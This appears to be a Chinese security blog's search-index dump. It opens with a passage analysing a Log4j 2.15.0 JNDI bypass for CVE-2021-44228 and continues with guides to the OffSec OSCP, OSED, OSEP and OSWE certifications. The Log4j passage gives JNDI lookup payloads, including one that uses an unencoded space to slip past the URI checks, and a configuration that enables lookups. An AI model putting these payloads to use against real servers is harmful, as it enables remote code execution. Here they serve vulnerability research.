-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=1099 使用代理加速 12# JAVA_HOME设置为jdk1.8./mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=1099 编译完成后生成的artifact(jar包)在各个module的target文件夹中 利用链分析在pom.xml修改log4j-core版本为2.15.0,然后将编译出来的jar包全部替换进去 由于2.15.0版本中默认禁用了LookUp,我们首先需要通过配置将其打开 修改log4j2.xml配置 12345678910111213<?xml version="1.0" encoding="UTF-8"?><Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="[%t] %-5level %m{lookups} %n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration> 此时,Payload如下可以被解析 1${sys:java.version} 但是JNDI Payload不会被解析 1${jndi:ldap://ip:1389/#Exploit} 由于我们知道现在${}还是会解析,但是jndi受限制,所以根据之前的分析,我们前往StrSubstitutor.resolveVariable()看看变量解析的工作流程 进入lookup() 我们可以发现JNDI其实还是可以解析的,再进入一层lookup,观察JNDI内部受到了什么限制 继续进入jndiManager的lookup 可以发现,首先使用了一些协议和来源地址的限制 来源地址可以发现是本机的一些IP,此时假设来源地址的限制也不影响我们,我们也是在本地做测试,并且ldap也在允许的协议中 可以发现此处禁止了引用对象的使用,检查方法是attributeMap.get(OBJECT_FACTORY)!=null 除此之外,还限制了JNDI的另一种利用方式——反序列化,其通过allowedClasses将可以反序列化的类型限制在了Java的几个基本类型 虽然局部看起来很完美,但是代码的异常捕捉逻辑有问题,可以看到如下 如果出现URI语法错误,就可以直接触发异常处理并进入lookup,那要如何让URI出错又能正常lookup呢? 只需往URI中加一个无URL编码的空格即可,lookup的时候会忽略这个空格,我们把payload改为 1${jndi:ldap://127.0.0.1:1389/# Exploit} 可以发现成功触发命令执行 绕过总结此处绕过的条件较为苛刻,必须满足如下两个条件 开发者主动开启lookups功能 LDAP来源地址必须在白名单中,而默认白名单为本机地址 参考 Log4j Vulnerability (Log4Shell) Explained // CVE-2021-44228 - YouTube https://logging.apache.org/log4j/2.x/changes-report.html log4j2 漏洞分析与思考 (seebug.org) Apache Log4j2 远程代码执行漏洞分析 - 安全客,安全资讯平台 (anquanke.com) Log4j – Configuring Log4j 2 (apache.org) Apache Log4j2从RCE到RC1绕过 - 先知社区 (aliyun.com) JNDI with LDAP - 安全客,安全资讯平台 (anquanke.com) Serializable Objects (oracle.com) Referenceable Objects and References (oracle.com) 跟风蹭热度编译个logging-log4j2包-jdk11 (icode9.com)","link":"/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/CVE-2021-44228-log4j2-RCE-%E5%88%86%E6%9E%90/"},{"title":"OSCE3之路 - OSCP | PEN200","text":"在2022年1月我拿到了中国大陆第一个OSCE3,我在参与PEN200-OSCP时使用的是2020年更新的新版教材(含域内容),但考试依然是旧版(不含域内容),在2022年OSCP的考试形式已经更新为新版形式(含域内容)。 本文同时提供以下语言的版本: English. 本文部分信息已过时,请以官方信息为准。 OSCP的全称是 Offensive Security Certified Professional ( OffSec 认证专业人员) ,属于OffSec的200系中级认证,虽然OSCP并不是OSCE3的一部分,但是作为OffSec认证体系最知名的证书,还是写在这个系列文章中,并且介绍一下OffSec认证的一些杂项信息 OSCP课程的旧名称简称PWK(Penetration with Kali),新版名称为PEN200,我在本文中统一采用新版名称 基本信息 有关PEN200-OSCP证书的官方最新信息位于这里:https://www.offensive-security.com/pwk-oscp/ 证书有效期:OffSec所有证书终身有效,无需更新 报名方式和费用对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式 Packages Subscriptions - 订阅制 Packages 课程 + 30天Lab + 1次OSCP考试 999美元 课程 + 60天Lab + 1次OSCP考试 1199美元 课程 + 90天Lab + 1次OSCP考试 1349美元 重考费:249美元 30天Lab延长:359美元 60天Lab延长:599美元 90天Lab延长:799美元 SubscriptionsLearn One套餐(2499美元): PEN200-OSCP课程 + 2次OSCP考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员 Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员 个人建议对于基础扎实的师傅,建议选择便宜的$999 Package,成本低一些,有一些基础或者有时间想多刷一点Lab的同学,可以考虑60天或者90天Lab,个人不太建议Learn One套餐,虽然东西很多,但是我觉得比如KLCP和OSWP现在认可度并不是很高,365天Lab除非铁了心刷完Lab,否则不太有必要 如果想要完成OffSec最核心的OSCE3系列证书+OSCP证书,Learn Unlimited是个好选择,但要慎重考虑,一整年的时间需要一直学习,OffSec的考试难度并不低,大部分人需要好好准备几个月才能通过,否则也容易浪费 如何报名参与OffSec的各项考试都必须要准备的东西和需要注意的一些问题 对于第一次海外支付的同学,最好要准备一张Visa卡或者MasterCard信用卡,否则支付会遇到问题 护照是必备的,OffSec在考试时需要提供了英文的官方证件,出于长期打算,办一张护照是成本最低选择 实在办不到护照怎么办?最近通过和一些其它考生的交流,驾驶证是不能使用的了,唯一的其他选项就是经过公证的身份证,步骤比较麻烦而且成本听说比护照还要高 不论是课程开始还是考试,都不是付费后立刻开始的,都需要预约,根据淡季旺季时间有所不同,课程一般等待时机在10天左右,考试的话如果不考虑工作日还是假期的问题以及开始时间的问题,基本上半个月内可以参与考试,如果要找到一个假期的中午开始这种黄金时间,基本上得1个半月左右才能找到了,而且随着OSCP热度持续上升,这个时间目前还是只增不减 如何预习 虽然OSCP全程使用英语学习、考试,但是除非对英语一窍不通,个人认为没有必要专门去学习英语,毕竟随时都允许使用翻译软件,包括考试时,只不过相比熟悉英语的同学的进展会慢一些 虽然OSCP课程官网并没有给出要求的基础能力,但是我认为拥有以下能力能够大幅加速OSCP正式学习时的进展 Debian系 Linux的命令使用能力 Python脚本的开发能力 会使用Google 除此之外,按照官网的课程大纲掌握一些能自己学会的部分,能够节约你在正式课程中阅读教材的时间 官方的课程大纲:penetration-testing-with-kali.pdf (offensive-security.com) 掌握了基础能力后,虽然官方Lab最贴近考试环境,但是量也很大,有七十多个靶机,建议先刷一刷OSCP like的HackTheBox机器,然后再刷Lab效率更高 这份OSCP like清单的最新版本通过此链接可以获取到:https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 其中包含了各个靶场的资源整理,我推荐优先练习Proving Grouds和HackTheBox的靶机 关于课程课程中的几个重要资源如下 教材 PDF版本和视频版本,建议阅读PDF,效率更高,看不懂的地方看视频操作即可 OSCP的靶机为所有学生共享,OSCE3的300系列的学生靶机为每个学生独享 学生论坛 里面提供了各种Lab机器的提示以及讨论,并且在官方管理员的控制下不会有答案泄漏 官方Discord频道 相比论坛为学生们提供了更便捷的实时讨论,学生注册后,在https://portal.offensive-security.com/中可以获取到邀请链接 由于教材是英文的,我建议边学习边把重要的部分自己整理出来作为笔记,考试是允许联网并且可以随意翻阅资料的,但是我还是希望大家自己整理一份CheatSheet(常用的指令集合,如Enumeration和常见的Exploit)出来,可以节约考试时的时间 不推荐使用别人的笔记或CheatSheet 在PEN200-OSCP中可以学到许多渗透测试的基础能力,如信息收集、使用Exploit和提权。Windows和Linux都在学习和考察的范围内 考试重点考察2块领域的能力,也是我们要重点学习的地方 Enumeration - 枚举各种信息 寻找Exploit,利用各种搜索引擎如Exploit Database(OffSec自己的漏洞库,最重要)、Google、GitHub的搜索 不论是获取Initial foothold还是提权,都是这两种能力的挑战 关于Lab虽然教材长达800多页,但是Lab才是PEN200课程的核心部分,因为渗透测试是实践中才能学会的技能 大部分机器都是独立可以通关的,但是有部分机器之间存在依赖,你需要先攻克另一台机器并在Post-Enumeration中获取到足够的信息才能攻破另一台机器。 关于Lab练习量和通过率的关联,可以在A Path to Success in the PWK Labs | Offensive Security (offensive-security.com)这篇OffSec官方文章中获取到,其中包含了Lab的各种信息,也包含了Lab的网络拓扑,值得一读,网络拓扑如图 首先我们可以直接访问的Lab机器处在Public段,还有IT Department、Admin、Dev段,这些段需要通过靶机使用网络代理才能访问。 Sandbox则是用于和教材练习搭配使用 所有Lab机器都是共享使用,OSCE3(OSWE、OSEP、OSED)系列则是每个学生独享,建议做之前先重置一下,不用担心太多人来抢,因为OffSec通过课程预约制度控制了课程参与人数,即使偶然遇到抢着revert的问题,换一台机器即可, Lab刷题数和考试通过率关联如下,可以发现难易程度真的是因人而异,不要抱着“我考不过,这证书真牛;我都考过了,这证书真水“这样的想法 关于考试新增的要求——域域要考察的内容在教材第21章全部讲解了,掌握教材中的内容我认为足以通过考试。并且在教材最后一章有一个完整的例子,非常有价值,并且在Lab中也有一些关于AD的题目 虽然我没有参与过OSCP的域考试,但是在OSEP中涉及了大量的域技术,我认为这方面技术只要好好学习教材内的内容,并且完成相关的练习,域相关的技术并不会特别难 关于新版考试 官方的考试指引:OSCP Exam Guide – Offensive Security Support Portal (offensive-security.com) 考试时长24小时和通过分数70分并无变动 由于OffSec的考试时间安排,我说的考试时间包含提前15分钟进行身份验证的环节 OffSec的考试形式一直是其特色所在,讲究实操能力,要开展实战的攻击才能拿到拿到分数 由于考试结构已经大改,我当时的考试经验已经不太具有参考价值了,建议大家多看看2022年发布的其它OSCP考试review来获取更贴切的感受,我就从考试的结构变化和我的学习经验入手来分析一下 首先是官方的说明:https://www.offensive-security.com/offsec/oscp-exam-structure/ 先简单介绍一下旧版本的考试 旧版本的考试分数结构为25+25+20+20+10,通过分数为70分,完成所有教材练习和10道Lab并提供报告奖励5分 每个20分的题目,用户权限和root权限的获取分别10分,其中Buffer Overflow(后简称BOF)是必考的,占25分,域是必不考的,另外一个25分题分为15分+10分的结构 新版本则分为两部分 独立靶机部分(60分),类似旧版,每题用户权限和root权限的获取分别10分,共3题,BOF变为可能会考而不是必考 域部分(40分),包含两个Client机和一台DC域控,必须完整获取整个域的控制以得到完整的40分,否则1分不给 考试通过门槛依然为70分(这意味域部分必须搞定),奖励分数的获取方式变为完成考试的域部分和10台Lab机器即可得到,并且提升为10分,相比之前而已获取的难度其实是大幅降低了,教材的超大量习题劝退了包括我和其它许多同学 由此可见,域部分突然从不考变为必考,体现出了时代要求的变化以及OffSec紧跟信息安全前沿的态度,我认为是一件好事 由于目前参与新考试并通过的考生并不多,我建议熟练掌握教材中的AD相关内容和练习,掌握Lab中的AD题(具体是哪几题可以去Discord的OSCP学生频道问),通过HackTheBox中的域类型机器提高熟练度 Lab靶场和考试的网络问题之前很多国内考试遇到过由于防火墙的原因,完全连接不上Lab和考试的情况,遇到的话,之前都可以和官方联系推迟时间然后你自己解决,但是2021年OffSec开始给每个中国和埃及考生会发额外的免责邮件,要求学生自行确定好网络连接问题 虽然是这么说,但是在我最近几次考试的过程中,Lab和考试均可稳定直连(我位于东南沿海地区),甚至网络性能比我挂了代理还要好(在使用远程桌面时尤为明显),但还是建议大家备好代理,以免遇到意外情况 通过OSCP之后——OSCE3完成PEN200课程拿到OSCP证书后,接下来就是OffSec的300系列课程了,难度更大并且要求更高,分别是OSEP、OSWE、OSED,分别对应对域渗透和免杀的更加深入、Web安全Exploit开发、二进制安全Exploit开发,拿到这三张证书后即可获得OSCE3证书,想要深入了解OSCE3的各个证书,可以继续阅读本系列的其它篇章 欢迎和我深入交流OffSec的各个证书:[email protected] (一起吐槽OffSec哈哈哈,交个朋友也欢迎,如需加好友,通过邮件发送联系方式即可)","link":"/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSCP-PEN200/"},{"title":"OSCE3之路 - OSED | EXP301","text":"OSED是我在在2022年1月拿到的,同时也是我OSCE3所需的最后一个证书,其名称为301,而不是300,这是因为EXP301-OSED专注于Windows环境下的二进制安全开发与利用。 本文同时提供以下语言的版本: English. 本文部分信息已过时,请以官方信息为准。 对于一些更加基础的信息,如报名问题、网络问题,请参阅OSCP篇 OffSec的所有认证都没有前置要求,如果不想考OSCP直接考OSED,完全是可以的 基本信息 有关EXP301-OSED证书的官方最新信息位于这里:https://www.offensive-security.com/exp301-osed/ 报名方式和费用对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式 Packages Subscriptions - 订阅制 ####Packages 课程 + 60天Lab + 1次OSED考试 1299美元 课程 + 90天Lab + 1次OSED考试 1499美元 重考费:249美元 30天Lab延长:359美元 60天Lab延长:599美元 90天Lab延长:799美元 SubscriptionsLearn One套餐(2499美元): EXP301-OSEP课程 + 2次OSED考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员 Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员 个人建议可以发现300系列的套餐没有30天套餐,建议学习时间比较充沛的可以选择60天Lab,如果平时事情比较忙,可以考虑90天的Lab,由于我空闲时间比较充足,我的OSEP和OSED都是选择的60天套餐以节约时间,由于我的主要学习方向是Web安全,因此OSWE则是选择了更便宜的30天套餐(此套餐已经退役,并且大概率不会再出) 如何报名参加OffSec的认证与课程请阅读PEN200-OSCP篇 300系列横向比较OSED是300系列中最新的认证,相较于PEN系列注重于黑盒,OSWE注重Web白盒,OSED专注在二进制安全,也就是常说的PWN和逆向,很多人认为OSED的考试是最难的,但是我认为OSWE在思维难度考查上才是最难的,而OSED大家认为比较难可能是因为目前以二进制为主攻方向的同学占比比较少,虽然我主攻方向也是Web方向,OSWE也是我最轻松拿下的证书。OSED的难点在于对计算机底层需要有比较好的基础才能比较顺利地学习,否则很多地方可能都会一知半解 如何预习根据官方的PREREQUISITES,需要如下能力 熟悉调试器(官方写的是ImmunityDBG, OllyDBG,其实课程和考试都不用……一定要熟练使用WinDbg) 熟悉32位的基本exploit理论 熟悉Python3脚本的编写 基本能够阅读C语言代码 能够理解32位汇编代码 EXP301-OSED只考察Windows的32位环境也就是x86架构下的Exploit,这也是其被批评的一个点,因为现在大部分都是x64架构的计算机了,但是其实x86_64也就是x86架构的升级版,我认为通过学习x86来掌握基本的二进制研究能力也是一个比较好的选择,直接从x64入手的话学习曲线会过于崎岖 对于汇编语言的基础学习,我的建议使用最知名的《汇编语言》(王爽著),这本书非常厚,但不需要完全学完 除此之外,最好对《操作系统》这门基础课程比较熟悉,否则很多概念就一知半解了 为了熟悉32位的基本二进制exploit,可以选择CTF的PWN方向作为入门选择,也可以选择ROP Emporium这个网站提供的练习题进行练习,由于这个网站只提供了题目文件,没有虚拟练习环境,可以自己使用虚拟机搭建虚拟练习环境,这里我推荐我自己制作的一个小工具来搭建练习环境,其使用文档在我的博客上:DIPD-文档 - 4xpl0r3r’s blog,关于使用问题也可以在文章下面留言 ROP Emporium每道题支持4种练习架构,x86、x86_64、ARMv5、MIPS,如果只是准备EXP301-OSED的话只需要练习x86架构即可,如果想要感受下x86和现代的x86_64的差别,也可以练习x86_64,如果后续想要进军IoT二进制安全,可以研究下ARM和MIPS,但是就需要自己搭建QEMU异构虚拟机来实验了 关于课程课程中的几个重要资源如下 教材 PDF版本和视频版本,建议阅读PDF,效率更高,看不懂的地方看视频操作即可 Lab 提供了最贴近考试的各种靶机环境,由于EXP301的教材以实例讲解,Lab中也提供了教材的配套靶机,除此之外还有几个供学生练习的Challenge,Challenge的详情在教材中会介绍,都和教材教的内容类似 300系列的学生靶机为每个学生独享,与OSCP的所有学生共享不同 学生论坛 里面提供了各种Lab机器的提示以及讨论,并且在官方管理员的控制下不会有答案泄漏 官方Discord频道 相比论坛为学生们提供了更便捷的实时讨论,学生注册后,在https://portal.offensive-security.com/中可以获取到邀请链接 EXP301-OSED课程的学习方式和WEB300-OSWE比较相似,我的学习方法就是边看PDF边练习,把教材里的实例都练习完之后,基本就掌握得差不多了,期间通过反复实践,总结思考出自己的方法论 对于WEB300-OSWE和EXP301-OSED,我都强烈建议边学习边总结思维导图,这对于巩固学习以及在考试中思考攻击路径都极有帮助 我在学习中总结出EXP301-OSED的核心内容就是:以栈溢出为核心,研究DEP和ASLR的绕过,同时学习ShellCode的开发和逆向工程。在考试中也是这些内容为核心,因此在学习之前可以有一个大概的脉络 还有一些小细节需要注意,OSED考试允许使用IDA但是不能使用IDA Pro,只能使用IDA免费版,这意味着只能使用IDA来进行反汇编而不能使用IDA的F5大法,要注意。调试也只能使用WinDbg进行调试 关于考试 官方的考试指引:OSED Exam Guide – Offensive Security Support Portal (offensive-security.com) 300系列的考试时长均为48小时 相比于教材和Lab基本都是使用真实案例做例子,考试则全部使用OffSec自行开发的题目 考试由三个独立的Assignment(任务)组成,分数分别为40分、30分、30分,通过考试的分数为60分,因此完成其中的2个任务即可通过考试 考试的3个任务会考察到大纲中的所有话题,包含了逆向工程、开发exploit绕过mitigation(也就是DEP和ASLR)以及开发自制的shellcode(使用汇编语言开发) 考试的思维难度不大,但是我认为如果对汇编语言不熟悉的同学,做起来会很吃力,因为需要阅读的代码量还是不小的,大部分题目都比较直接,比较需要创造力的部分我认为就是构建ROP链以及利用逆向工程找到可以利用的漏洞这两部分。 \u0010我个人感觉每个任务基本上没有部分得分这样的选项,完全完成任务就得到这个任务的所有分数,否则就一分都没有 有些题目会提供一个模板Exp,需要进一步去完善,有些题目则没有Exp,需要通过逆向工程来寻找漏洞 有几个坑点一定要注意 逆向工程工具必须使用IDA Freeware,不能使用IDA Pro或者Ghidra 最终的Exploit必须使用Python3编写,不能使用其它语言也不能使用Python2 不像其它的OffSec认证最终只需要上传报告不需要上传代码,OSED需要上传每一个任务的最终代码 写在最后如果你想要了解的信息文章中没有提到,欢迎发邮件给我一起交流,也欢迎加个好友,通过邮件发送联系方式给我即可 [email protected]","link":"/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSED-EXP301/"},{"title":"OSCE3之路 - OSEP | PEN300","text":"在2022年1月我拿到了OSCE3,OSEP是我在21年8月拿到的,其和PEN200-OSCP均属于PEN系列,也就是渗透测试类。 本文同时提供以下语言的版本: English. 本文部分信息已过时,请以官方信息为准。 对于一些更加基础的信息,如报名问题、网络问题,请参阅OSCP篇 OffSec的所有认证都没有前置要求,如果不想考OSCP直接考OSEP,完全是可以的 OSEP的全称是 Offensive Security Experienced Penetration Tester ( OffSec 资深渗透测试员) ,属于OffSec的300系高级认证,主要聚焦于横向移动、域渗透和免杀并且相比OSCP更加贴近红队实战,提供了钓鱼等技术的教学 在OSEP考试中也有可能会出现教程中的钓鱼技术的考点,而不是停留在书面上 OSEP代替了旧版OSCE的位置,主要继承并拓展了OSCE的渗透测试技术部分,而二进制安全部分则被拓展并转移到EXP301-OSED中 基本信息 有关PEN300-OSEP证书的官方最新信息位于这里:https://www.offensive-security.com/pen300-osep/ 报名方式和费用对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式 Packages Subscriptions - 订阅制 ####Packages 课程 + 60天Lab + 1次OSEP考试 1299美元 课程 + 90天Lab + 1次OSEP考试 1499美元 重考费:249美元 30天Lab延长:359美元 60天Lab延长:599美元 90天Lab延长:799美元 SubscriptionsLearn One套餐(2499美元): PEN300-OSEP课程 + 2次OSEP考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员 Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员 个人建议可以发现300系列的套餐没有30天套餐,建议学习时间比较充沛的可以选择60天Lab,如果平时事情比较忙,可以考虑90天的Lab,由于我空闲时间比较充足,我的OSEP和OSED都是选择的60天套餐以节约时间,由于我的主要学习方向是Web安全,因此OSWE则是选择了更便宜的30天套餐(此套餐已经退役,并且大概率不会再出) 如何报名参加OffSec的认证与课程请阅读PEN200-OSCP篇 300系列横向比较虽然在OffSec官方的评级下,300系列的三门课程难度是一致的,但是由于三个课程的考察方向不同,因此对于不同基础的每个人来说每个证书的难度也不同,我在和其它考生交流和讨论后,尽量避免由于基础产生的差异,认为PEN300-OSEP是一般而言最简单的一个,因为相比另外两门课程重点考察exploit的开发,OSEP还是聚焦在enumeration,对开发能力的需求更少 如何预习300系列的课程被OffSec认定为高级课程,全部都需要或多或少的开发能力,官方页面上也给出了基础能力的需求,如下 扎实的enumeration和exploit能力(也就是PEN200-OSCP所重点考察的) 识别和利用漏洞的能力,如SQL注入、文件包含和本地提权 对于Active Directory(后简称AD,也就是中文中常说的“域”)和AD相关的攻击有基础的了解 除了官方自己给出的Prerequisites(预备知识),我经过课程的学习后,我认为掌握一些额外的基础知识会对于课程学习或参与考试有较大的帮助 熟练使用PowerShell,能够使用PowerShell对.Net Framework进行调用 熟练使用C#并掌握各种语言高级特性,尤其是反射等 对Windows API有足够的了解,明白如何使用C#调用Windows API 对Microsoft Windows系列的产品如Microsoft SQL Server、ASP.NET较为熟悉 官网教材大纲:PEN-300-Syllabus (offensive-security.com) 如果时间充沛,可以对着大纲,把各个知识点进行预习,也是不错的选择 由于由多台靶机构成的这样的内网练习环境目前还比较少见,我就不推荐课外的靶场了,我个人也没有为了OSEP去刷其它的靶场,如果有需要,可以自己选择 虽然我提到了OSEP在300系列的认证中开发能力要求最低,但是为什么还是建议大家掌握PowerShell和C#这些东西呢?这是因为教材中会为各种用到的技术进行深入讲解,包括每一行是做什么的,如何自己修改。虽然可以直接保存模板代码然后应对考试直接套用,但是我认为,学完教材中的原理,才是最重要的,否则就还是一个高级的一点的脚本小子罢了 关于课程课程中的几个重要资源如下 教材 PDF版本和视频版本,建议阅读PDF,效率更高,看不懂的地方看视频操作即可 Lab 提供了最贴近考试的各种靶机环境 300系列的学生靶机为每个学生独享,与OSCP的所有学生共享不同 学生论坛 里面提供了各种Lab机器的提示以及讨论,并且在官方管理员的控制下不会有答案泄漏 官方Discord频道 相比论坛为学生们提供了更便捷的实时讨论,学生注册后,在https://portal.offensive-security.com/ 中可以获取到邀请链接 OSEP的Lab环境与OSCP有显著的不同,OSCP Lab中每台机子都是一台独立的靶机,但是由于OSEP重点在于横向移动和域渗透,所以以Challenge的形式进行练习,每个Challenge中都会有多个靶机,少则3台,多至10台左右,每台靶机都会有不同的解法来拿下,如钓鱼、横向移动、SQL漏洞等 考试重点考察4块领域的能力,也是我们要重点学习的地方 横向移动(包括在多个网段之间穿越) 域渗透(主要是AD以及相关产品如MSSQL) 免杀(以静态免杀为主) 客户端攻击(也就是俗称的钓鱼) 相比PEN200-OSCP,PEN300-OSEP更加贴近实战,为什么这么说呢,在Lab和考试中,你都会发现,大部分机器的杀毒软件如Windows Defender都处在运行状态,只不过没有联网,在你拿到了管理员权限后,你还需要想办法去把这些安全软件给关闭或绕过,否则它们不仅会在获取shell的阶段妨碍你,还会在你进行横向移动或进行post-enumeration时妨碍你 关于考试 官方的考试指引:OSEP Exam Guide – Offensive Security Support Portal (offensive-security.com) 300系列的考试时长均为48小时 很多同学都是因为OSCP证书才了解到OffSec的认证体系,OSCP证书的考试形式相比其它证书采取实操制已经相当独特,而OSEP则采取了更加有趣的考试形式 在OSEP考试中,由于还是考查渗透测试技术,还是需要去攻击各台靶机,但是这次提供给我们的是一个模拟的实战环境,OffSec模拟出一个虚构的目标,也许是一个大型公司、也许是一个银行。考试提供给考生几个IP作为暴露的安全边界,你可以通过多种方式进行突破,可以攻击Web服务、可以尝试直接打exploit、甚至可以利用钓鱼 突破内网之后,就要开始横向移动了,综合利用各种技术,增加自己控制靶机的数量,每拿下一个靶机的最高权限账户,可以拿到proof.txt,对于部分靶机的低级用户还有local.txt,每个拿到的flag都价值10分,有两种方式通过考试,拿到10个flag也就是100分通过考试,或者攻克模拟的最终目标,其flag保存在secret.txt,拿到secret.txt就能够直接通过考试了 根据官方的说法,有至少两条攻击路径可以到达secret.txt,这意味着要么走完其中一条,或者两条路径都差不多走到一半,还是比较有弹性的,大家考试时可以自由选择 我在考试时由于另一条路线的安全软件一直绕不过去,所以就是一条路线走到底了,拿到了secret.txt成功通过考试,其中也经过了不止一个网段,感觉OSEP考试还是非常有趣 OSEP考试所用到的技术在Lab的Challenge全部有考查到,因此我认为只要扎实练好官方Challenge,掌握每一个知识点,通过考试还是不成问题的 写在最后[email protected]","link":"/%E8%AF%81%E4%B9%A6/OSCE3%E4%B9%8B%E8%B7%AF-OSEP-PEN300/"},{"title":"OSCE3之路 - OSWE | WEB300","text":"在2022年1月我拿到了OSCE3,OSWE是我在21年4月拿到的,本篇我们来介绍WEB300-OSWE,它是关于OffSec关于Exploit Development的第一个认证。 本文同时提供以下语言的版本: English. 本文部分信息已过时,请以官方信息为准。 对于一些更加基础的信息,如报名问题、网络问题,请参阅OSCP篇 OffSec的所有认证都没有前置要求,如果不想考OSCP直接考OSWE,完全是可以的 基本信息 有关WEB300-OSWE证书的官方最新信息位于这里:https://www.offensive-security.com/awae-oswe 报名方式和费用对于个人用户,目前Offensive Security(后称OffSec)提供了2种购买方式 Packages Subscriptions - 订阅制 ####Packages 目前来说OSWE是Packages购买方式300系列中最贵的,均价高150美元 课程 + 60天Lab + 1次OSWE考试 1449美元 课程 + 90天Lab + 1次OSWE考试 1649美元 重考费:249美元 30天Lab延长:359美元 60天Lab延长:599美元 90天Lab延长:799美元 SubscriptionsLearn One套餐(2499美元): WEB300-OSWE课程 + 2次OSWE考试机会 + PEN210-OSWP课程 + 1次OSWP考试机会 + 365天Lab + PEN100课程 + KLCP课程 + 1次KLCP考试机会 + PG Practice会员 Learn Unlimited套餐(5499美元): OffSec所有课程 + 365天Lab + 无限次考试机会(受冷静期约束) + PG Practice会员 个人建议可以发现300系列的套餐没有30天套餐,建议学习时间比较充沛的可以选择60天Lab,如果平时事情比较忙,可以考虑90天的Lab,由于我空闲时间比较充足,我的OSEP和OSED都是选择的60天套餐以节约时间,由于我的主要学习方向是Web安全,因此OSWE则是选择了更便宜的30天套餐(此套餐已经退役,并且大概率不会再出) 如何报名参加OffSec的认证与课程请阅读PEN200-OSCP篇 300系列横向比较OSWE是300系列中存在时间最长的认证,相较于PEN系列注重于黑盒,OSWE则注重的是Web安全方向的白盒审计,虽然由于我主攻方向是Web方向,OSWE是我最轻松拿下的证书,但是综合比较而言,我认为在思维难度上,OSWE应该是300系列最高的,虽然OSED也是半白盒开发exploit,也许是因为推出时间较短,还没有进化出思维难度比较高的题目 如何预习首先建议大家打好编程语言的基础 PHP Java Web NodeJS ASP.Net(C#) Python 除了语言之外,根据官方的PREREQUISITES,还需要以下能力 熟悉Linux 熟悉Web代理 基本了解Web应用的攻击向量、理论和实践 可以发现,对于Web开发转安全或者曾经在CTF中担任Web手的同学,OSWE应该是OffSec系列认证中最容易的 但是由于OSWE着重于白盒审计,和CTF的Web侧重点还是有些差别的 基础打扎实之后,推荐一下Web安全的教程,内容非常全面,如果时间有限的话,可以参考课程大纲有针对性地预习 https://portswigger.net/web-security/all-materials WEB-300的课程大纲:awae-syllabus.pdf (offensive-security.com) 稍微详细地看的话,可以发现大多以真实例子进行讲解,WEB300和EXP301都是研究Exploit Development(EXP开发)的,因此都采用实例进行讲解,因此我认为掌握好了上面的编程基础知识和Web漏洞基础知识,就可以正式开启课程了 之前提供了OSCP like靶机清单的列表也提供了OSWE like的清单,我没有去练过,如果大家预习时间比较多,可以考虑去练习一下 https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 关于课程课程中的几个重要资源如下 教材 PDF版本和视频版本,建议阅读PDF,效率更高,看不懂的地方看视频操作即可 Lab 提供了最贴近考试的各种靶机环境,由于WEB300的教材以实例讲解,Lab中也提供了教材的配套靶机,除此之外还有几个供学生练习的Challenge,Challenge以白盒为主,有少量黑盒题,但是考试只考查白盒 300系列的学生靶机为每个学生独享,与OSCP的所有学生共享不同 学生论坛 里面提供了各种Lab机器的提示以及讨论,并且在官方管理员的控制下不会有答案泄漏 官方Discord频道 相比论坛为学生们提供了更便捷的实时讨论,学生注册后,在https://portal.offensive-security.com/中可以获取到邀请链接 WEB300-OSWE课程的学习方式比较单调,我的学习方法就是边看PDF边练习,把教材里的实例都练习完之后,基本就掌握得差不多了,这可能是因为我有在CTF做Web题的经验导致的,此课程对我来说并没有很高的难度 随后开始刷Web题目,对于没有Web安全经验的同学来说可能会有些难度,可以去官方discord提问,同学都比较热情。只要是教材教到的漏洞都有可能考查,包括有些同学觉得不会出的CSRF这种客户端攻击或者碰撞攻击,事实上在Exam如果没有考到也只是个人没有考到,越是觉得不会考的反倒喜欢考 对于WEB300-OSWE和EXP301-OSED,我都强烈建议边学习边总结思维导图,这对于巩固学习以及在考试中思考攻击路径都极有帮助 关于考试 官方的考试指引:OSWE Exam Guide – Offensive Security Support Portal (offensive-security.com) 300系列的考试时长均为48小时 考试考查的是手工白盒审计,因此各种自动化工具就不要想着使用了,每道题目会提供2台机器,2台机器除了密码不一样完全一样,一台用于给学生获取源代码并分析,另一台用来获取Proof 每道题目分为两个考查阶段,第一阶段为Bypass Login,也就是利用Web攻击登录到网站后台,此为第一阶段,第二阶段则为RCE,就是要通过Web服务拿到主机的Shell,不需要提权,拿到Shell后就能拿到这个机器的满分 考试的满分是100分,85分通过,总共2台机器,第一阶段35分,第二阶段15分,这意味着2台机器的Bypass Login都必须成功,RCE倒是只需要完成其中一台即可,我当时由于考试空余时间比较多,拿到满分+写完报告花的时间还不到20小时,因此就全部搞定了 拿到所有Proof后还要编写一个Exploit,用于自动化完成攻击,建议使用Python3 考察范围就是教材教到过的所有漏洞类型或组合利用,不要问别人考试考了什么漏洞,每个人考察到的都是不同的 相比于教材都是使用真实案例做例子,考试则全部使用OffSec自行开发的题目,涉及到的代码语言每个人考到的都不同 